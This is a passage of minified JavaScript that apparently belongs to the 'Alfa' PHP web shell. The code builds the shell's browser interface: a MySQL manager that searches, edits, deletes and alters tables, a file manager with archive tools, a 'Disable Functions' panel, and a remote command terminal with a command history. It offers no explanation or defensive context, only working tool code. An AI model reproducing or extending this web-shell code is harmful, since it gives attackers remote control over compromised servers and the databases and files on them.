style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>></option><option value='>='>>=</option><option value='<'><</option><option value='<='><=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name='"+e[c].col+"' rows='5'>"+e[c].value+"</textarea>";break;case"input":u="<input type='"+e[c].type.type+"' name='"+e[c].col+"' value='"+e[c].value+"'>"}s+="<tr><th style='text-align: left;'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style='margin-left:20px;'><button col_key='"+l+"' key='"+r+"' tbl_name='"+o+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"edit\");return false;'>Update</button></div><div class='mysql-update-result'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+='<optgroup label="'+t[l].key+'">',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw'"msg parameter is empty"';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="sql-content sql-active-content">'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",'<div id="tab_'+i+'" opt_id="'+i+'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="'+i+'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",'<div id="'+o+'" class="options_holder">'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",'<div opt_id="'+o+'" onclick="optionsTabController(this);" title="'+l+'" id="tab_'+o+'" class="tab_name tab_is_active">'+l+' <img opt_id="'+o+'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+i+'");'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+i+'");'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+'");'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+'");'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="terminal-content'+t+'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+"',0);\">-</button><input onchange=\"alfaTerminalChangecolor(this,'"+i+'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="'+i+'" onSubmit="alfaExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\''+i+'\');" term_id="'+i+'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="'+i+'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="'+i+'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"></div></form></div></div></div>');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="terminalTabController(this);" term_id="'+i+'" id="tab_'+i+'" class="terminal-tab'+a+'">Terminal <img term_id="'+i+'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var 